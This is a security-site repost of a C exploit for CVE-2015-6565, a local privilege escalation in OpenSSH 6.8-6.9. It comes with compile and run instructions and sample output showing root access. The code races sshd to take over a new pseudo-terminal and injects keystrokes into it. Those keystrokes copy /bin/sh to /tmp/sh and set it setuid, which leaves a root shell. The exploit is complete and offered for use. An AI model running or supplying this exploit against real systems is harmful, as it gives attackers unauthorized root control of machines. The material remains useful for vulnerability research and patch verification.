首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenSSH 6.8 < 6.9 - 'PTY' Privilege Escalation
来源:https://twitter.com/uid1000 作者:Bento 发布时间:2017-02-03  
/*
 *  not_an_sshnuke.c
 *
 *  Federico Bento
 *
 *  up201407890 () alunos dcc fc up pt
 *  https://twitter.com/uid1000
 *
 *  OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
 * 
 *  Considered mostly to be a "DoS", turns out to be a priv esc vuln.
 *  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
 *
 *  Shoutz to Jann Horn for the detailed analysis
 *  And also to all my elite colleagues, specially xSTF :)
 *
 *
 *  $ gcc not_an_sshnuke.c -o not_an_sshnuke
 *  $ ./not_an_sshnuke /dev/pts/3
 *  [*] Waiting for slave device /dev/pts/3
 *  [+] Got PTY slave /dev/pts/3
 *  [+] Making PTY slave the controlling terminal
 *  [+] SUID shell at /tmp/sh
 *  $ /tmp/sh --norc --noprofile -p
 *  # id
 *  euid=0(root) groups=0(root)
 *
 */
 
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
     
int main(int argc, char *argv[])
{
     char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
     int pid, pts = -1;
 
     if(argc != 2) {
          fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
      fprintf(stderr, "Where X is next slave device to be created\n");
      return 1;
     }
    
     if(!access(argv[1], F_OK)) {
          fprintf(stderr, "[-] %s device already exists\n", argv[1]);
          return 1;
     }
 
     pid = fork();
 
     if(pid < 0) {
      fprintf(stderr, "[-] fork failed\n");
      return 1;
     }
    
     if(pid == 0) {
          printf("[*] Waiting for slave device %s\n", argv[1]);
        
      /* win the race by opening the PTY slave before sshd's child */
      while(pts == -1)
           pts = open(argv[1], O_WRONLY);
 
           printf("[+] Got PTY slave %s\n", argv[1]);
               printf("[+] Making PTY slave the controlling terminal\n");
        
           dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
           setsid();
               ioctl(0, TIOCSCTTY, 1);
 
           while(*cmd)
                ioctl(0, TIOCSTI, cmd++);
     }
 
     else {
          wait(NULL);
      printf("[+] SUID shell at /tmp/sh\n");
      return 0;
     }
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Systemd 228 (SUSE 12 SP2 / Ubu
·Palo Alto Networks Terminal Se
·macOS 10.12.1 / iOS Kernel - '
·OpenSSL 1.1.0 - Remote Client
·macOS 10.12.1 / iOS Kernel - '
·Oracle VM VirtualBox < 5.0.32
·Haraka < 2.8.9 - Remote Comman
·HelpDeskZ < 1.0.2 - Authentica
·Autodesk Backburner Manager 3
·Multiple Netgear Routers - Pas
·Man-db 2.6.7.1 - Privilege Esc
·Apple WebKit - 'HTMLFormElemen
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved